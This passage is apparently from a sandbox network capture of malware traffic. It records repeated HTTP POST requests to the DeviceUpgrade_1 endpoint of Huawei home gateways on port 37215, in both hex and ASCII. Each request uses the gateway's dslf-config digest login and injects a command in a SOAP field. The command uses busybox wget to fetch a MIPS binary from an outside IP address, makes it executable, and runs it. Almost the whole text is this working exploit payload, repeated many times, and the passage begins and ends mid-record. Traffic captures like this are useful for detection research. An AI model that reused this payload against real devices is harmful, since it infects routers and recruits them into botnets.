74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	47270	156.253.46.37	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:36.164238930 CET	1480	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:37.829633951 CET	1508	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:39.781488895 CET	1566	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:43.720716000 CET	1673	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.651753902 CET	1853	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:07.265759945 CET	2322	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:38.749181032 CET	3170	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	156.253.33.255	37215	192.168.2.23	43086

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:38.829857111 CET	1560	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:40.485291958 CET	1591	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 